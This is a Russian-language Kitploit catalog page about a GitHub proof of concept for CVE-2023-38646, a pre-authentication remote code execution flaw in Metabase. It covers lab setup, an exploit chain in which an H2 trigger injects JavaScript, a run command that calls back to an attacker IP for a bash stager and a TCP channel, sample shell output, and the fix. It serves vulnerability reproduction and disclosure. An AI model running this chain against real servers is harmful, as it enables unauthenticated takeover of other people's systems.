Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
metabase-cve-2023-38646 — Репозиторий содержит PoC и шаги для воспроизведения cve 2023-38646. | Kitploit
Инструменты/GitHubGitHub/kushiro45/metabase-cve-2023-38646
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеRed TeamingРазработка Полезной Нагрузки
GitHubkushiro45/metabase-cve-2023-38646

metabase-cve-2023-38646

Репозиторий содержит PoC и шаги для воспроизведения cve 2023-38646.

Репозиторий
51 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

cd ~/metabase-poc cat > README.md << 'EOF'

CVE-2023-38646 — Удаленное выполнение кода до аутентификации в Metabase

Краткое описание

CVSS 9.8. Версии Metabase до 0.46.6.1 / 1.46.6.1 (и эквивалентные более ранние ветки) предоставляют возможность RCE до аутентификации через конечную точку /api/setup/validate, которая предназначена для проверки параметров подключения к базе данных во время начальной настройки, но доступна без аутентификации даже после завершения настройки.

Коренная причина

Конечная точка принимает полезную нагрузку подключения к базе данных, и при указании engine: h2 с поддельной строкой подключения JDBC позволяет внедрять произвольный JavaScript через синтаксис H2 CREATE TRIGGER ... AS $$//javascript. Тело триггера выполняется во время проверки, предоставляя атакующему выполнение JavaScript внутри JVM — что тривиально приводит к выполнению команд ОС через java.lang.Runtime.getRuntime().exec().

Основная проблема заключается в том, что движок базы данных H2 доверяет коду, внедренному в строку подключения, в рамках "проверки" источника данных, в сочетании с тем, что Metabase открывает этот путь проверки до аутентификации.

Среда

  • Цель: официальный Docker-образ metabase/metabase:v0.46.6
  • Инструменты атакующего: Python 3, requests, termcolor
  • Источник PoC: Exploit-DB 51797 (Musyoka Ian, CVE-2023-38646)

Настройка

Запустите уязвимый Metabase:

root@kitploit:~
docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6
docker logs -f metabase   # wait for "Metabase Initialization COMPLETE"

Установите зависимости эксплойта:

root@kitploit:~
pip3 install requests termcolor

Цепочка эксплойта

  1. Получение токена настройки — /api/session/properties раскрывает setup-token, который предназначен для блокировки одноразового потока начальной настройки, но остается действительным и используемым даже после завершения настройки.
  2. Проверка эксплуатируемости — атакующий поднимает локальный HTTP-сервер; поддельный триггер H2 заставляет цель сделать исходящий обратный вызов к нему, подтверждая выполнение JS внутри движка H2.
  3. Выполнение команды — второй поддельный триггер использует java.lang.Runtime.getRuntime().exec() для получения bash-стейджера с HTTP-сервера атакующего и передачи вывода команды обратно через сырой TCP-слушатель, закодированный в base64.

Запуск

root@kitploit:~
python3 51797.py -l <attacker_ip> -p 4444 -P 8000 -u http://localhost:3000
  • -l — IP атакующего для обратного вызова (шлюз моста Docker, если цель — локальный контейнер, например 172.17.0.1)
  • -p — порт, на который подключается обратный канал данных
  • -P — порт локального HTTP-сервера, обслуживающего скрипт-стейджер
  • -u — базовый URL целевого Metabase

После подтверждения эксплуатируемости через обратный вызов до аутентификации открывается интерактивное приглашение metabase_shell >.

Результат

metabase_shell > whoami metabase metabase_shell > id uid=2000(metabase) gid=2000(metabase) groups=2000(metabase),2000(metabase)

Выполнение команды подтверждено от имени сервисной учетной записи metabase — до аутентификации, без учетных данных. Серьезность проблемы обусловлена доступным по сети RCE без какой-либо аутентификации, а не уровнем привилегий полученной оболочки.

Исправление

Исправлено в Metabase 0.46.6.1 / 1.46.6.1 и более поздних версиях — конечная точка /api/setup/validate теперь требует, чтобы настройка действительно была не завершена, а токены настройки аннулируются после завершения начальной настройки.

Отказ от ответственности

Только для использования в изолированной лабораторной среде. Не запускайте против экземпляров Metabase, которые вам не принадлежат или на тестирование которых у вас нет явного разрешения.

Скачать инструмент